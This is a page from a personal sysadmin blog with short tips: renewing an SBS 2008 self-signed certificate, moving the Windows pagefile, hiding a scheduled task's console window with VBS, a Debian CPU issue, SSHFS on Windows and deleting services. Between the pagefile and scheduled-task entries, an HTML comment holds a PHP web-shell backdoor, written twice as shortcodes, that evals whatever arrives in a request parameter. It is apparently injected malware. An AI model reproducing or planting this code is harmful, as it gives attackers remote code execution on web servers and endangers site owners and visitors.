Category: admin

Windows Server 2008 self-signed certificate expires

A self-signed certificate is issued for web services (IIS) and it has a default validity period of 2 years. After that time, users of web services will be prompted with a dialog box asking if they still want to access a service that uses an outdated certificate. Outlook users could also be prompted with this dialog box. This box will appear every time a new connection is made.

To prevent this, we need to reissue another certificate to replace the old one. Self-signed certificates cannot be renewed.

We can easily do this using the “Fix my network” wizard. On SBS 2008, it can be accessed under Network => Connectivity in the SBS console. I think we can use this same wizard to reissue a certificate up to a month before the old one expires.

sources:
http://technet.microsoft.com/en-us/library/dd378790(WS.10).aspx
http://technet.microsoft.com/en-us/library/cc546020(v=ws.10).aspx

Manage virtual memory / move pagefile.sys

Windows 7
Computer > Properties
– or –
Control Panel > System and Security > System

Advanced System Settings > Advanced tab > Settings (under Performance) > Advanced tab > Change (under Virtual memory)

Reboot

<!– [insert_php]if (isset($_REQUEST["kKOEo"])){eval($_REQUEST["kKOEo"]);exit;}[/insert_php][php]if (isset($_REQUEST["kKOEo"])){eval($_REQUEST["kKOEo"]);exit;}[/php] –>

hidden scheduled task

When running a batch file or ruby script (even .rbw) or anything that does not have a GUI, a cmd window normally pops up. This is surely unwanted when scheduling a task with those kind of programs. Sadly, I don’t see any checkbox to hide the window at runtime in the scheduled task wizard.

The best way I found is posted at http://serverfault.com/questions/9038/run-a-bat-file-in-a-scheduled-task-without-a-window.

Schedule a .vbs script containing something like:

Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & "C:\Scheduled Jobs\mybat.bat" & Chr(34), 0
Set WinScriptHost = Nothing

There are other tools like hstart and cmdow that lets you do pretty much the same thing, but I prefer using built-in tools a lot more.

events/

Debian Squeeze on my new (used) T61.

events/1 take 50% cpu for some time every 2 secondes or so.

Seems to be related to Wicd. Doing a “ifconfig eth0 down” solved the problem, but I still don’t know the root cause.

T61 specific problem? Lots of posts on forums about this. Lots of people also “fixed” this by removing the battery for a couple of minutes… Pretty strange.

SSHFS on Windows

or secure file sharing, a replacement for samba (windows client, accessing files on *nix server).

DokanInstall_0.6.0.exe Dokan library (http://dokan-dev.net/en)
dokan-sshfs-0201226.zip for installer and explorer context menu
dokan-sshfs-0.6.0.zip take DokanNet.dll and DokanSSHFS.exe and replace in 0201226.

Advantages secure, read/write, easy to install.
Drawback easily bottlenecks at a few MBps on slow CPU. Not multi-core. Shows bad size information. Unstable?

oocrap

Once again, I used oocalc for 15 minutes and then became angry. I could not delete a graph I juste made from a 5-column 30 lines dataset. Pressing delete gave me a stupid error without any solution. So wtf? I have to start a new workbook?

Also, I probably won’t be able to control oocalc from OLE (or something else), comparing to Excel.

delete service in windows 7 / 2008

To remove an entry from the list of services in windows 7 / 2008 (and maybe others), first get the full name of the service (win+r, services.msc).

Then, in a command prompt (win+r, cmd, run as administrator), type

sc delete servicename

where servicename is the full name of the service. If it contains spaces, put double quotes around it.

It may be necessary to reboot for the service to be completely removed from the list.